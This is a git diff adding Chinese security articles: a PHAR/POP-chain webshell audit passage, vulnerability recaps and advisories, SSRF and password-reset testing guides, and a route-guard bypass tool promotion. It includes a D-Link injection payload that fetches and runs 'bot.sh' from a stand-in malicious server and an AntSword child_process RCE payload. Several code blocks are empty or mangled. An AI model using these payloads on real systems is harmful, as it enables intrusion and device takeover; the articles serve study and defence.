内能操作的文件也局限在这两个目录。要读  +/etc/passwd + 之类的需要先绕 open_basedir（chdir+ini_set技巧或者glob://），但这不影响RCE本身。 + +**结论：open_basedir没有挡住这条攻击链。** + 因为webroot恰好在允许列表内。如果管理员把 open_basedir 设成  +/www/wwwroot/admin/runtime/:/tmp/ + 之类不包含  +public/ + 的路径，POP链就写不进webroot了——当然那样网站自己也跑不了。 +## 0x0A SSRF的复合利用 + +这次审计中，SSRF不只是用来触发PHAR的。整个过程中用了好几次： + +**1. 读源码辅助审计** + +通过  +file:// + 协议把服务端源码拉下来分析。open_basedir 内的文件都能读： +``` +``` + +这样拿到了  +File::set() + 的源码，确认了 exit 前缀的格式和  +setTagItem() + 的行为。 + +**2. 探测服务端配置** +``` +``` + +发现  +.user.ini + 存在且被  +chattr +i + 保护（不可修改），排除了通过  +auto_prepend_file + 注入webshell的路径。 + +**3. 触发PHAR反序列化** +``` +``` + +file_get_contents('phar://...') + 解析PHAR文件，自动反序列化metadata中的对象，触发  +__destruct +，启动POP链。 + +**4. 验证文件写入** +``` +``` + +通过  +file:// + 读取刚才写入的shell文件，确认文件是否落地、内容是否正确。 +## 0x0B 完整利用流程 +### Step 1：注册账号 +``` +``` + +os=pc + 走PC端流程，跳过手机验证码。拿到token用于后续请求认证。 +### Step 2：生成PHAR-JPEG + +用PHP脚本生成。POP链参数： +``` +``` + +path + 分解： +- php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource= + —— 流过滤器声明 + +- /www/wwwroot/admin/public/ + —— webroot + +- _ + —— 对齐padding + +- ?? + —— 预编码的webshell + +### Step 3：上传 +``` +``` +### Step 4：SSRF触发 +``` +``` + +返回HTTP 500是正常的——POP链执行过程中抛了异常，但文件已经写入磁盘了。 +### Step 5：访问webshell + +文件名计算： +- tag名  +xxx + →  +md5('xxx') + =  +b165eb... + +- tag key =  +tag_ + +  +md5('xxx') + =  +tag_b165eb... + +- tag hash =  +md5('tag_b165eb...') + =  +12ac95f1498ce51d2d96a249c09c1998 + +shell在磁盘上的路径： +``` +``` + +HTTP访问（特殊字符URL编码）： +``` +``` + +返回： +``` +``` + +RCE成功。 +## 0x0C Shell信息 +``` +``` + +注意  +system() + /  +exec() + 等被  +disable_functions + 禁了，需要另外绕过（LD_PRELOAD / FFI / iconv trick 等），不在本文范围内。 +## 0x0D 踩坑记录 + +
问题现象原因解决
ROT13写shell无法执行访问shell返回500 Fatal Errorshort_open_tag=On，<?cuc 被当短标签解析放弃ROT13
base64解码tag文件为空主文件正常(1字节)，tag文件0字节php://filter路径中的 = 号干扰base64流解码放弃base64
iconv写shell后Parse Error访问shell返回500shell没关 ?>，后面乱码被当PHP解析加 ?> 关闭标签 + die()
UCS-2字节对齐错误文件内容乱码总字节数为奇数，最后一字节没配对加 _ padding凑偶数
shell编码后含有 / 或 \0文件名非法某些PHP代码交换后产生路径分隔符或空字节调整shell内容确保预编码安全
diff --git a/doc/2026-04/勒索软件与Mirai的狂欢：CISA最新KEV漏洞技术复盘与防护.md b/doc/2026-04/勒索软件与Mirai的狂欢：CISA最新KEV漏洞技术复盘与防护.md new file mode 100644 index 00000000..da1aa4f1 --- /dev/null +++ b/doc/2026-04/勒索软件与Mirai的狂欢：CISA最新KEV漏洞技术复盘与防护.md @@ -0,0 +1,124 @@ +# 勒索软件与Mirai的狂欢：CISA最新KEV漏洞技术复盘与防护 +原创 Kit Chung + Kit Chung 安全圈动向 2026-04-28 00:04 + +![](https://mmbiz.qpic.cn/mmbiz_png/bHeteOibsicdiaURTCDjLaNc1ugzJENsiawPGjgtUdtqA9tiajVnoZQUyhbyTe86K4D2yl1WYpYzNZuyibsZOXAgYLd7fbRbbgblIVJWqr1Qst7Fo/640?wx_fmt=png&from=appmsg "") + +大家好，我在刷安全圈新闻的时候，发现美国网络安全和基础设施安全局（CISA）在上周五悄悄丢了个“深水炸弹”。他们将四个已经被黑客在真实环境中“疯狂摩擦”的漏洞，正式加入了已知被利用漏洞（KEV）目录。 + +这四个漏洞涉及 **SimpleHelp、三星 MagicINFO 9 Server，以及大家非常熟悉的 D-Link DIR-823X 系列路由器** +。老规矩，咱们不看热闹，看门道。今天我带大家深挖一下这几个漏洞背后的技术原理，看看攻击者是怎么利用它们搞事情的。 +> **重点：** + 这些漏洞不是停留在实验室里的概念证明（PoC），而是已经被勒索软件和僵尸网络（Mirai）在野利用了！联邦机构的修复 +dead line +定在了 **2026年5月8日** +。 + +## 💣 漏洞一与漏洞二：SimpleHelp 的“提权+RCE”致命组合拳 + +这次最惹眼的莫过于 SimpleHelp 的两个漏洞，黑客在实际攻击中往往把它们组合起来用，一套连招直接拿下服务器最高权限。这也是很多勒索软件（比如 DragonForce 组织）最喜欢的打点方式。 +### 1. CVE-2024-57726：越权狂欢，低权限秒升 Admin (CVSS: 9.9) + +**技术剖析：** + +这是一个典型的**权限校验缺失（Missing Authorization）** +漏洞。在正常的 RBAC（基于角色的访问控制）模型中，只有高级管理员才能生成高权限的 API Key。但在这个漏洞中，后端的接口对发起请求的用户角色没有进行严格的越权校验。 + +**攻击路径还原：** +1. 攻击者首先获取一个最低权限的“技术员”（low-privileged technician）账号。 + +1. 构造一个恶意的 HTTP 请求，调用创建 API Key 的接口。 + +1. 由于后端只认请求，不校验当前 Session 的权限级别，攻击者可以直接在 payload 中给自己分配 Admin + 权限。 + +1. 拿到 Admin API Key 后，系统大门彻底敞开。 + +### 2. CVE-2024-57728：经典的 Zip Slip 目录遍历 (CVSS: 7.2) + +**技术剖析：** + +拿到了高权限后，攻击者的下一步肯定是追求 RCE（远程命令执行）。这个漏洞的本质是 **Zip Slip（压缩包目录遍历）** +。当系统在解压用户上传的 ZIP 文件时，没有对文件名中的 ../ + 进行过滤。 + +**攻击路径还原：** + +攻击者会精心构造一个包含恶意文件的 ZIP 包，文件名为类似 ../../../../../../etc/cron.d/malicious_script +。 + +当以 Admin 身份（通过上一个漏洞获取）上传并触发解压操作时，后端程序会将文件直接写入宿主机的系统目录中。通过覆盖计划任务（Cron）、启动脚本或动态链接库，攻击者就能以 SimpleHelp 服务器的运行身份，在宿主机上执行任意代码。 +## 🕳️ 漏洞三：三星 MagicINFO 9 Server 任意文件写入 +### CVE-2024-7399：路径遍历的又一个受害者 (CVSS: 8.8) + +**技术剖析：** + +三星的 MagicINFO 主要是用来管理数字标牌的，这种部署在内网边缘的设备一旦沦陷，很容易成为内网渗透的跳板。这也是一个路径遍历漏洞，但可怕的是，它的后端服务是以 **SYSTEM 权限（最高系统权限）** + 运行的。 + +**攻击思路探讨：** + +虽然官方没有放出具体的 exploit 细节，但根据过往经验，这类漏洞通常发生在日志导出、固件上传或配置文件备份等功能点。攻击者通过构造恶意的 POST 请求路径或参数，绕过 WAF 或后端的路径校验逻辑（例如使用 %2e%2e%2f + 这种 URL 编码形式绕过简单的正则匹配），将恶意 WebShell 或木马直接写入 Web 根目录，甚至替换系统级别的 DLL 文件，从而实现直接的接管。 +> **威胁情报联动：** + 历史数据显示，这个漏洞曾被黑客用来大面积部署 Mirai 僵尸网络，专门抓肉鸡。 + +## 🔌 漏洞四：D-Link EOL 路由器命令注入 +### CVE-2025-29635：经典的 IoT 灾难 (CVSS: 7.5) + +**技术剖析：** + +D-Link DIR-823X 系列路由器已经到了生命周期终点（End-of-Life, EOL），这意味着官方已经停止了维护。这个漏洞存在于 Web 管理界面的 /goform/set_prohibiting + 接口。 + +**攻击路径还原：** + +在 IoT 安全领域，这种漏洞简直是“家常便饭”。该接口在接收到包含特定参数的 POST 请求时，没有对用户输入进行严格的无害化处理（Sanitization），直接将参数拼接到了系统调用（如 system() + 或 exec() +）中。 + +攻击者只需要构造类似下面这样的 Payload（伪代码示意）： +``` +POST /goform/set_prohibiting HTTP/1.1Host: 192.168.0.1Content-Type: application/x-www-form-urlencodedparam_name=123; wget http://malicious-server/bot.sh -O /tmp/bot.sh; sh /tmp/bot.sh +``` + +利用分号 ; + 或管道符 | + 截断原有命令，黑客就能让远程设备乖乖下载并执行恶意脚本。 + +**最新态势：** + Akamai 本周刚刚披露，他们已经监控到针对该漏洞的在野攻击，攻击者正在疯狂投递名为 **"tuxnokill"** + 的 Mirai 僵尸网络变种。 +## 🛡️ 我的修复与防护建议 + +作为技术人，看完这些攻击链路，咱们该怎么做？ +1. **针对 SimpleHelp 和 三星设备：** + 别犹豫，今晚就加班**打补丁** +。这种已经被勒索软件盯上的漏洞，多暴露一分钟就多一分被加密勒索的风险。 + +1. **针对 D-Link 路由器：** + CISA 的建议很直接——**停止使用** +。因为设备已经 EOL，厂商不会再发补丁了。如果你的企业还在用这种老旧设备当边缘网关，赶紧申请预算换新设备，物理拔线最安全。 + +1. **架构防御：** + 建议在 WAF 侧增加对 ../ +、%2e%2e + 等目录遍历特征的强拦截；同时，严格审查内网系统创建 API Key 的业务逻辑，确保鉴权机制的原子性。 + +网络安全就是一场和黑客拼手速的赛跑。大家赶紧自查一下手头的资产清单吧！ + +[#网络安全]() + + [#漏洞分析]() + + [#渗透测试]() + + [#RCE漏洞]() + + [#僵尸网络]() + + [#勒索软件]() + + [#系统安全]() + + diff --git a/doc/2026-04/天地伟业Easy7 queryDataByTypeEx SQL注入漏洞.md b/doc/2026-04/天地伟业Easy7 queryDataByTypeEx SQL注入漏洞.md new file mode 100644 index 00000000..aebeb970 --- /dev/null +++ b/doc/2026-04/天地伟业Easy7 queryDataByTypeEx SQL注入漏洞.md @@ -0,0 +1,111 @@ +# 天地伟业Easy7 queryDataByTypeEx SQL注入漏洞 +Superhero + Superhero Nday Poc 2026-04-28 02:05 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkYN4sZibCVo6EFo0N9b7Kib4I4N6j6Y10tynLOdgov9ibUmaNwW5yeoCbQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=8n1b48rw&tp=webp#imgIndex=0 "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkhic5lbbPcpxTLtLccZ04WhwDotW7g2b3zBgZeS5uvFH4dxf0tj0Rutw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=vx7xykg3&tp=webp#imgIndex=1 "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCk524CiapZejYicic1Hf8LPt8qR893A3IP38J3NMmskDZjyqNkShewpibEfA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=x3261qcu&tp=webp#imgIndex=2 "") + +内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的 +POC +信息及 +POC对应脚本 +而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！ + + +**01** + +**漏洞概述** + + +天地伟业Easy7 queryDataByTypeEx 接口存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码,站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。 +**02****** + +**搜索引擎** + + +fofa: +``` +app="Tiandy-Easy7" +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1ia7SnwoCEX048yENvoPWIyq1WaMheTDbRicltGVQHyEoYetS3zib1eUia9ib8LmMHRuI7z88TCgSIJGEvQQ42atHaqO7uicHZnShHibg/640?wx_fmt=png&from=appmsg "") + + +**03****** + +**漏洞复现** + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1ianLLibIrMKTf3P2pMiaYxic8lYSXu4N0NPplyqKRp9wS3rCoLciczKJgEXIMQaoRD4QtNGcicMyeeGdv3UDXICF8c8G6jgABpUFLNQ/640?wx_fmt=png&from=appmsg "") + + +**04** + +**自查工具** + + +nuclei + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1jUS65y0p4pWR2eibrkKXZGNFxhPKd7YGJM74cum5m5KnH2n1ic2haJYn1rqN34vUg3ibfPblHEGvpVGk4YPrfwTnSIjegY6xfwe4/640?wx_fmt=png&from=appmsg "") + +afrog + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1hSKmdEZNkial2XUNGwLa7myj4OySrPOjBxnBK9VJicTb788naxCfQgjAeEBX7z4gzVCqFfuy3I3ZIhw1Pbpbia6Dx98iaLGmqSxQA/640?wx_fmt=png&from=appmsg "") + + +**05****** + +**修复建议** + + +1、关闭互联网暴露面或接口设置访问权限 + +2、升级至安全版本 + + +**06****** + +**内部圈子介绍** + +### 【Nday漏洞实战圈】🛠️ + +专注公开1day/Nday漏洞复现 · 工具链适配支持 + +✧━━━━━━━━━━━━━━━━✧ + +🔍 **资源内容** + +▫️ 整合全网公开1day/Nday漏洞POC详情 + +▫️ 适配Afrog/Nuclei检测脚本 + +▫️ 支持内置与自定义POC目录混合扫描 + +🔄 **更新计划** + +▫️ 每周新增7-10个实用POC（来源公开平台） + +▫️ 所有脚本经过基础测试，降低调试成本 + +🎯 **适用场景** + +▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗 ▫️ 安全运维 + +✧━━━━━━━━━━━━━━━━✧ + +⚠️ **重要声明** + +▫️ +仅限合法授权测试，严禁违规使用 + +**▫️虚拟资源服务，购买后不接受任何形式退款** + +▫️ +付款 +前请评估需求，慎重考虑 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1gCib9uogvMdrvHAzLuO4OXrc0icpoFVPicZJiaOcOMpFWRCacCksoCDLIXk5YL9vga1587b68BibicARE5urk5mbYRoKgkOvjR5Awicg/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=8 "") + + diff --git a/doc/2026-04/密码重置令牌可预测漏洞.md b/doc/2026-04/密码重置令牌可预测漏洞.md new file mode 100644 index 00000000..eac92b9b --- /dev/null +++ b/doc/2026-04/密码重置令牌可预测漏洞.md @@ -0,0 +1,58 @@ +# 密码重置令牌可预测漏洞 +原创 游山玩水 + 游山玩水 山水SRC 2026-04-28 01:16 + +## 免责声明 + +**本公众号分享的所有渗透测试技术文章仅面向合法授权的安全测试、学习交流与研究用途。读者必须确保自身行为符合《网络安全法》等相关法律法规，严禁将其用于任何未授权攻击等非法活动。因不当使用或传播相关内容所引发的任何法律责任与风险，由行为人自行承担，本公众号（或本人）概不负责** + +## 流程 + +**测试前提** +1. 系统提供基于邮箱的密码找回/重置功能。 + +1. 重置链接中包含用于标识用户或验证身份的**可预测参数** +（如：自增ID、基于时间生成的序列、用户邮箱的弱哈希）。 + +1. 该参数直接暴露在URL中（例如：https://example.com/reset?token=10001 +），且攻击者可以观察或推断其生成规律。 + +1. 服务端仅依赖该参数来确认用户身份，未结合其他强校验（如：绑定当前会话、二次验证、校验参数与邮箱的强关联性）。 + +1. 攻击者知道或能获知目标用户（用户B）的注册邮箱或用户名。 + +**测试流程** +1. **信息收集** +：攻击者（用户A）首先使用自己的账号触发密码找回流程。 + +1. **分析参数** +：接收并检查发送到自己邮箱的重置链接。假设链接为：https://example.com/reset?uid=10001 +。攻击者发现uid +参数为连续数字。 + +1. **预测目标参数** +：攻击者诱使或等待用户B进行密码找回。由于操作相邻，用户B获得的链接很可能为https://example.com/reset?uid=10002 +。 + +1. **实施篡改** +：攻击者访问自己收到的重置链接（uid=10001 +），在浏览器地址栏或通过工具，将URL中的参数uid=10001 +修改为uid=10002 +，然后访问。 + +1. **绕过验证** +：服务端收到uid=10002 +的请求，错误地认为这是用户B本人在操作，从而允许攻击者进入密码重置页面或直接重置用户B的密码。 + +1. **完成攻击** +：攻击者成功将用户B的密码修改为自己设定的密码，从而完全控制用户B的账户。 + +**危害** +- **核心危害** +：**账户被完全接管** +。攻击者可以登录受害账户，执行查看敏感信息、进行交易、发布内容、窃取虚拟财产等所有操作。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8tDOXFoCoQicegwJhT8qb2Wzl5bnZ8mjjiaSvSrIgLAo4CFoPS69pn2aUxHq1bnEZFGYicn2eXuOGfoTp6LtymiaculI4Ry4uQ5J5iaHweTSGsicg/640?wx_fmt=png&from=appmsg "") + + + diff --git a/doc/2026-04/漏洞预警 Adobe Acrobat Reader远程代码执行漏洞.md b/doc/2026-04/漏洞预警 Adobe Acrobat Reader远程代码执行漏洞.md new file mode 100644 index 00000000..be7c4994 --- /dev/null +++ b/doc/2026-04/漏洞预警 Adobe Acrobat Reader远程代码执行漏洞.md @@ -0,0 +1,47 @@ +# 漏洞预警 | Adobe Acrobat Reader远程代码执行漏洞 +浅安 + 浅安 浅安安全 2026-04-27 23:50 + +**0x00 漏洞编号** +- # CVE-2026-34621 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +Adobe Acrobat是Adobe Inc.开发的一系列应用软件和Web服务，用于查看、创建、操作、打印和管理便携式文档格式(PDF)文件。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/NQlfTO30MhxwQSeiayvsZbeK1PvsqvBMQHZVyl7ry291ibrRpk7mBRqGEp95llLbDInSd0TnHvCTbXRERUojspxUxiaiaECqmL2R7XpSDMTkFUY/640?wx_fmt=png&from=appmsg "") + +**0x03 漏洞详情** + +**CVE-2026-34621** + +**漏洞类型：** +远程代码执行 + +**影响：** +执行任意代码 + +**简述：** +Adobe Acrobat Reader存在远程代码执行漏洞，由于其JavaScript引擎未能正确控制对象原型属性的修改，攻击者可以利用该漏洞制作恶意的PDF文件，诱导受害者打开特制的文件，在当前用户的上下文中执行任意代码。 + +**0x04 影响版本** +- Acrobat DC <= 26.001.21367 + +- Acrobat Reader DC <= 26.001.21367 + +- Acrobat 2024 <= 24.001.30356 + +**0x05 POC状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：** + +https://www.adobe.com/ + + + diff --git a/doc/2026-04/漏洞预警 孚盟云SQL注入漏洞.md b/doc/2026-04/漏洞预警 孚盟云SQL注入漏洞.md index c26ac9f1..1e27d3ae 100644 --- a/doc/2026-04/漏洞预警 孚盟云SQL注入漏洞.md +++ b/doc/2026-04/漏洞预警 孚盟云SQL注入漏洞.md @@ -1,6 +1,6 @@ # 漏洞预警 | 孚盟云SQL注入漏洞 浅安 - 浅安 浅安安全 2026-04-22 23:50 + 浅安 浅安安全 2026-04-27 23:50 **0x00 漏洞编号** - # 暂无 @@ -23,7 +23,7 @@ SQL注入 窃取敏感信息 **简述：** -孚盟云的/m/Dingding/Ajax/WorkFlowHandler.ashx接口存在SQL注入漏洞，未经验证的攻击者可通过该漏洞获取数据库敏感信息。 +孚盟云的/m/Dingding/Order/OrderLook.aspx接口存在SQL注入漏洞，未经验证的攻击者可通过该漏洞获取数据库敏感信息。 **0x04 影响版本** - 孚盟云 diff --git a/doc/2026-04/盲SSRF实战：用这招“投石问路”，无声漏洞照样拿赏金.md b/doc/2026-04/盲SSRF实战：用这招“投石问路”，无声漏洞照样拿赏金.md new file mode 100644 index 00000000..d3041fa0 --- /dev/null +++ b/doc/2026-04/盲SSRF实战：用这招“投石问路”，无声漏洞照样拿赏金.md @@ -0,0 +1,75 @@ +# 盲SSRF实战：用这招“投石问路”，无声漏洞照样拿赏金 +原创 升斗安全XiuXiu + 升斗安全XiuXiu 升斗安全 2026-04-27 23:55 + +**【文章说明】** +- **目的** +：本文内容仅为网络安全**技术研究与教育** +目的而创作。 + +- **红线** +：严禁将本文知识用于任何**未授权** +的非法活动。使用者必须遵守《网络安全法》等相关法律。 + +- **责任** +：任何对本文技术的滥用所引发的**后果自负** +，与本公众号及作者无关。 + +- **免责** +：内容仅供参考，作者不对其准确性、完整性作任何担保。 + +**阅读即代表您同意以上条款。** + +**** +今天我们来分享一些关于“ +盲SSRF”的实战技巧，掌握这一招，能让你更好地理解这种漏洞的危害点和利用点。 + +这招特别适合挖 +SSRF这种“ +盲”漏洞——页面不报错、不返回明显特征，根本看不出来服务器有没有发起请求。这时候，我们需要一个“收信地址”，让服务器主动来敲门。 +Burp Collaborator就是这个地址。 + +实战拆解：四步走 + +第一步：逮住请求 + +正常使用目标功能，比如提交表单、导入链接、图片加载这些。Burp抓到请求后，右键直接“ +Send to Repeater”，把它扔进 +Repeater等着改。 + +![](https://mmbiz.qpic.cn/mmbiz_png/qg1MKHx3jGFRQD7Xx8tbyG3NpuHdXSVZSFAZL4KyfRMmBaop80ibgXVY6wXj6GgibkAooUe7LRXos8qiaL9YEjrC7gqbliaJ8Aw08Yao6tL2m04/640?wx_fmt=png&from=appmsg "") + +第二步：偷梁换柱 + +在 +Repeater里找到 +Referer头（别的头也行， +只要值是个URL的地方都值得试试），鼠标右键点它，菜单里选“ +Insert Collaborator Payload”。你会看到原本的域名一下子变成了 +Collaborator那个带随机串的地址。别犹豫，点“Send”把请求发出去。 + +![](https://mmbiz.qpic.cn/mmbiz_png/qg1MKHx3jGGQJFUegC01XiaUkeAibjagOg4B7gAw4ODRdYic3VorFGOwP6acycHj5sGFm3CQicOuIoI0qmsI0jZVgSQyqIJiaKj5MHUnBibiaRKtib4/640?wx_fmt=png&from=appmsg "") + +第三步：等回铃 + +切到Burp顶部的“ +Collaborator”标签页，点“ +Poll now”刷新。没反应？正常的。服务端很多操作是异步的，可能隔几秒、十几秒才处理。喝口水，再点一次。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/qg1MKHx3jGH0ibkdCJZ7uNMA8HI70HbhAUs3ziaXQ0Zh2bEkXeYWK1yaEPbvojGFBVHpOSyxficNpTOQUxpardl9PgCkcou41icicqKUIibNib5gXs/640?wx_fmt=png&from=appmsg "") + +第四步：看信号 + +只要有DNS查询或者HTTP请求出现在列表里，恭喜——目标服务器按我们给的地址，主动发了请求， +SSRF基本实锤。接下来就可以琢磨怎么扩大利用面了。 + +说两句掏心窝的 + +这法子不依赖页面返回，专门对付那些“闷声不响”的服务端请求。 +Referer只是其中一个常见注入点，像 +X-Forwarded-For、 +User-Agent、各种回调地址，都可以用同样套路挨个测。多试几个位置，往往有意外收获。 + +觉得实用的话，点个 「在看」 让更多挖洞的兄弟看到。想学习更多赏金技巧、掌握最新漏洞线索，关注我，不定时更新更多挖洞姿势。 + + diff --git a/doc/2026-04/红队神器｜Vue 站点未授权漏洞一键挖掘，这款插件太好用了.md b/doc/2026-04/红队神器｜Vue 站点未授权漏洞一键挖掘，这款插件太好用了.md new file mode 100644 index 00000000..114c8a77 --- /dev/null +++ b/doc/2026-04/红队神器｜Vue 站点未授权漏洞一键挖掘，这款插件太好用了.md @@ -0,0 +1,81 @@ +# 红队神器｜Vue 站点未授权漏洞一键挖掘，这款插件太好用了 + 黑白之道 2026-04-28 01:35 + +![](https://mmbiz.qpic.cn/mmbiz_gif/3xxicXNlTXLicwgPqvK8QgwnCr09iaSllrsXJLMkThiaHibEntZKkJiaicEd4ibWQxyn3gtAWbyGqtHVb0qqsHFC9jW3oQ/640?wx_fmt=gif "") + +在日常渗透测试和 SRC 挖洞中，**Vue 框架站点** +经常让人头疼：前端路由守卫拦着、权限判断藏在 meta 里、后台路径不翻源码根本找不到，手动测试又慢又容易漏。 + +今天给大家推荐一款**红队专用浏览器插件 ——VueCrack** +，专门针对 Vue.js 站点做路由分析与权限绕过，能帮你快速发现隐藏页面和未授权访问漏洞，实战非常稳。 + + +**插件是干嘛的？** + +简单说，它就是 **Vue 站点的 “权限破拆工具”** +。很多 Vue 项目只在前端做权限控制，后端校验缺失，只要绕过路由守卫，就能直接访问管理后台、用户列表、配置页等敏感路径。 + +VueCrack 把这套逻辑做成浏览器插件，方便一键操作，大幅提升挖洞效率。 + +**插件核心功能** +- 自动识别Vue框架： +打开网站点一下插件，立刻判断是不是 Vue+VueRouter 架构。 + +- 一键清除路由守卫： +自动干掉beforeEach +等拦截逻辑，不再被弹窗、跳转挡住。 + +- 批量修改鉴权字段： +递归扫描路由表，把auth: true +这类权限标记直接改掉，实现前端无权限访问。 + +- 提取全部路由（含隐藏路由）： +直接从内存里扒路由表，很多不显示在菜单里的后台路径都能揪出来。 + +- 批量打开/复制路径： +发现的路由一键复制、一键打开，批量测试未授权访问超省心。 + +**怎么安装使用（超简单）** +1. 去 GitHub 下载插件源码 / 安装包 + +1. 打开 Chrome 浏览器，进入chrome://extensions/ + +1. 开启 “开发者模式”，加载已解压的扩展程序 + +1. 访问 Vue 站点，点击插件图标即可使用 + +打开插件后，你会看到当前站点所有路由列表，直接点 “打开” 逐个访问，大概率能碰到未授权漏洞。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/zqnzfCSS1kDP61RuUw3jfjmwggX8J9PRnNtuP5MyMCyFms6gyYorWiaOVpEdYib7PfA0bcwPfJrwDoRibt1jS0HFoJ39UJLtoYVHZOtT8US3B0/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1&watermark=1#imgIndex=0 "") + +**适合谁用？** +- 渗透测试 / 红队工程师 + +- SRC 漏洞挖掘爱好者 + +- 前端安全审计人员 + +- 想快速测 Vue 权限问题的安全从业者 + +**下载地址** + +原版：VueCrack（Ad1euDa1e 维护） + +https://github.com/Ad1euDa1e/VueCrack + +增强版：VueCrack-Plus（基于原版优化扩展） + +https://github.com/kk12-30/VueCrack-Plus + +> **文章来源：Hack分享吧** + + + +黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！ + +如侵权请私聊我们删文 + + +**END** + + diff --git a/doc/2026-04/蚁剑v2.1.15曝致命漏洞！XSS可直接变RCE，点击即中招....md b/doc/2026-04/蚁剑v2.1.15曝致命漏洞！XSS可直接变RCE，点击即中招....md new file mode 100644 index 00000000..6d0a9126 --- /dev/null +++ b/doc/2026-04/蚁剑v2.1.15曝致命漏洞！XSS可直接变RCE，点击即中招....md @@ -0,0 +1,196 @@ +# 蚁剑v2.1.15曝致命漏洞！XSS可直接变RCE，点击即中招... +原创 3had0w + 3had0w 潇湘信安 2026-04-28 00:30 + +
Ima知识库名称
加入条件

潇湘信安协同知识库（更新~ing!）

限时免费

潇湘信安学习资料库（更新~ing!）

≥3年粉丝

潇湘信安内部知识库（更新~ing!）

星球成员

+近期，GitHub上公开了**AntSword(中国蚁剑)v2.1.15** +的一个高危安全漏洞，该漏洞由 **noxss() 过滤不完整** +引发，恶意服务端可构造特殊响应，在虚拟终端实现**格式码注入** +，最终导致**客户端任意代码执行** +，风险极高。 + +https://github.com/AntSwordProject/antSword/issues/370 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tNyBeBKReNIPA5ngwfDgicd1SAEEA1jZFtzticumjDmNBUSLGic8TBQXWEMqWpSiccnAurk9lp2nzmLaMjp92oWYVjZfXDv0n8DlqOMbCtsNCyo/640?wx_fmt=png&from=appmsg "") + +## 一、先搞懂：中国蚁剑是什么？ + +**AntSword（中国蚁剑）** + 是一款**开源跨平台的网站管理与渗透测试工具** +，基于 Electron 开发，广泛用于**Webshell 管理、文件操作、数据库管理、虚拟终端** +等场景，是安全从业者、渗透测试人员常用的辅助工具，支持 PHP/ASP/ASPX/JSP 等多种脚本环境。 + +但也正因**高权限、高频使用** +，一旦工具自身出现漏洞，极易被黑产利用，**反噬使用者本地主机** +。 + + +二、漏洞核心：一次过滤遗漏，引发客户端 “灭顶之灾” +### 1. 漏洞编号与基础信息 +``` +漏洞来源：GitHub Issues #370 +漏洞类型：XSS注入 → 远程代码执行（RCE） +影响版本：AntSword v2.1.15（其他满足noxss过滤逻辑 + nodeIntegration: true的版本同样受影响） +利用难度：低（1-click触发） +危害等级：高危 +``` + +### 2. 漏洞原理：二次渲染的安全间隙 + +漏洞根源在于**antSword.noxss()函数过滤不完整** +： +- 原noxss() +仅过滤& ' > < " +5 个字符，**未覆盖[ ] ! ; :等 jquery.terminal 格式码字符** +； + +- 恶意服务端注入**jquery.terminal 格式码** +，绕过过滤后被终端解析，生成带javascript: +协议的可点击链接； + +- 蚁剑基于 Electron，且开启nodeIntegration: true +，**点击链接即可直接调用 Node.js API** +，执行系统命令。 + +3. 攻击流程（极简复现） + +1、恶意 PHP 服务端构造 Payload： +``` +[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}] +``` + +2、蚁剑连接该服务端，打开虚拟终端执行任意命令； + +3、命令输出出现 “正常链接”，**用户点击后本地弹出计算器** +，可进一步执行任意恶意代码。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tNyBeBKReNKVZVN9ULI8JsWk7KlqOuyibOzjvOU0AvTUiaEic110AYwMib8xLkvDicvG7KL9wE1xoFibh1KT6ZYiamlqytsZM6f2ZSATlg0IPdy1sQ/640?wx_fmt=png&from=appmsg "") + + +Exp： +``` + +``` + +## 三、官方修复方案：3 种思路，快速加固 + +项目组已给出**有效修复方案** +，建议用户立即更新： +### 方案 1：最小改动（推荐） + +扩展noxss() +过滤字符集，**转义[** +，阻断格式码解析： +``` +noxss: (html = '', wrap = true) => { +  let _html = String(html) +    .replace(/&/g, "&") +    .replace(/'/g, "'") +    .replace(/>/g, ">") +    .replace(/'); +  } +  return _html; +} +``` + +### 方案 2：限制链接协议 + +在 jquery.terminal 层面，**仅允许 http/https 协议** +，拒绝javascript: +等危险协议。 +### + + +### 方案 3：长期根治（根本解决方案） + +关闭nodeIntegration: true +，通过contextBridge +安全暴露必要 API，**从根源杜绝 XSS 升级为 RCE** +。 + + +四、安全建议：所有蚁剑用户必看 +1. 立即更新： +升级到已修复的 v2.1.16 最新版本，避免使用 v2.1.15 及存在相同问题的旧版； + +1. 谨慎连接： +不连接不明、不可信的服务端，防止被构造恶意响应； + 